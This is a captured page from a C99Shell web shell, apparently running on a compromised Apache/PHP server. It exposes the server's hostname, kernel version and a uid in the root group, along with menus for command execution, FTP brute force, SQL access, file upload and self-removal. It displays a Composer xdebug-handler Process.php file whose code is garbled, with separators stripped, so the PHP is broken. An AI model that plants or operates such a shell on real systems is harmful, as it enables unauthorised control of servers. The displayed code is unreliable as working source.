!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/php/Composer/XdebugHandler/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Process.php (3.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of composer/xdebug-handler.
 *
 * (c) Composer <https://github.com/composer>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace Composer\XdebugHandler;

use 
Composer\Pcre\Preg;

/**
 * Process utility functions
 *
 * @author John Stevenson <john-stevenson@blueyonder.co.uk>
 */
class Process
{
    
/**
     * Escapes a string to be used as a shell argument.
     *
     * From https://github.com/johnstevenson/winbox-args
     * MIT Licensed (c) John Stevenson <john-stevenson@blueyonder.co.uk>
     *
     * @param string $arg  The argument to be escaped
     * @param bool   $meta Additionally escape cmd.exe meta characters
     * @param bool $module The argument is the module to invoke
     *
     * @return string The escaped argument
     */
    
public static function escape($arg$meta true$module false)
    {
        if (!
defined('PHP_WINDOWS_VERSION_BUILD')) {
            return 
"'".str_replace("'""'\\''"$arg)."'";
        }

        
$quote strpbrk($arg" \t") !== false || $arg === '';

        
$arg Preg::replace('/(\\\\*)"/''$1$1\\"'$arg, -1$dquotes);

        if (
$meta) {
            
$meta $dquotes || Preg::isMatch('/%[^%]+%/'$arg);

            if (!
$meta) {
                
$quote $quote || strpbrk($arg'^&|<>()') !== false;
            } elseif (
$module && !$dquotes && $quote) {
                
$meta false;
            }
        }

        if (
$quote) {
            
$arg '"'.(Preg::replace('/(\\\\*)$/''$1$1'$arg)).'"';
        }

        if (
$meta) {
            
$arg Preg::replace('/(["^&|<>()%])/''^$1'$arg);
        }

        return 
$arg;
    }

    
/**
     * Escapes an array of arguments that make up a shell command
     *
     * @param string[] $args Argument list, with the module name first
     *
     * @return string The escaped command line
     */
    
public static function escapeShellCommand(array $args)
    {
        
$command '';
        
$module array_shift($args);

        if (
$module !== null) {
            
$command self::escape($moduletruetrue);

            foreach (
$args as $arg) {
                
$command .= ' '.self::escape($arg);
            }
        }

        return 
$command;
    }

    
/**
     * Makes putenv environment changes available in $_SERVER and $_ENV
     *
     * @param string $name
     * @param string|null $value A null value unsets the variable
     *
     * @return bool Whether the environment variable was set
     */
    
public static function setEnv($name$value null)
    {
        
$unset null === $value;

        if (!
putenv($unset $name $name.'='.$value)) {
            return 
false;
        }

        if (
$unset) {
            unset(
$_SERVER[$name]);
        } else {
            
$_SERVER[$name] = $value;
        }

        
// Update $_ENV if it is being used
        
if (false !== stripos((string) ini_get('variables_order'), 'E')) {
            if (
$unset) {
                unset(
$_ENV[$name]);
            } else {
                
$_ENV[$name] = $value;
            }
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--